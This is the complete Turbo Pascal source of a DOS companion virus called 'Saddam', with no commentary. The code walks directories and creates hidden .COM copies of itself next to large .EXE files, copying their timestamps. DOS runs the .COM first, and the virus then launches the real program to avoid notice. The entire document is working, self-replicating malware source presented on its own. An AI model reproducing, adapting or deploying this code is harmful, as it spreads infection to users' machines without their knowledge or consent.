Program Saddam; {$M 10000,0,0} Uses DOS; Var DriveID : String [2]; Buffer : Array [1..8000] Of Byte; Target,Source : File; Infected : Byte; Done : Word; TargetFile : String; (*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*) Function ExistCom : Boolean; Var FindCom : SearchRec; Begin FindFirst ( TargetFile, 39, FindCom ); ExistCom := DosError = 0; End; (*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*) Procedure SearchDir ( Dir2Search : String ); Var S : SearchRec; Begin If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then Dir2Search := Dir2Search + '\'; FindFirst ( Dir2Search + '*.exe', 39, S ); While DosError = 0 Do Begin TargetFile := Copy ( Dir2Search + S.Name,1, Length ( Dir2Search + S.Name ) -3 ) + 'com'; If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And Not ExistCom And ( Infected < 3 ) And ( S.Size > 25000 ) Then Begin {$i-} Inc ( Infected ); Assign ( Target, TargetFile ); Rewrite ( Target,1 ); BlockWrite ( Target, Buffer, Done + Random ( 4400 )); SetFTime ( Target, S.Time ); Close ( Target ); If IoResult = 101 Then Begin Infected := 3; Erase ( Target ); End; {$i+} End; FindNext ( S ); End; FindFirst ( Dir2Search + '*', Directory, S ); If S.Name = '.' Then Begin FindNext ( S ); FindNext ( S ); End; If ( DosError = 0 ) And ( S.Attr And 16 <> 16 ) Then FindNext ( S ); While DosError = 0 Do Begin If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then SearchDir ( Dir2Search + S.Name ); FindNext ( S ); End; End; (*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*) Begin DriveID := FExpand ( ParamStr ( 1 )); Infected := 0; Assign ( Source, ParamStr ( 0 ) ); Reset ( Source, 1 ); BlockRead ( Source, Buffer, 5000, Done ); Close ( Source ); Randomize; SearchDir ( DriveID ); Exec ( Copy ( ParamStr ( 0 ),1, Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) ); End.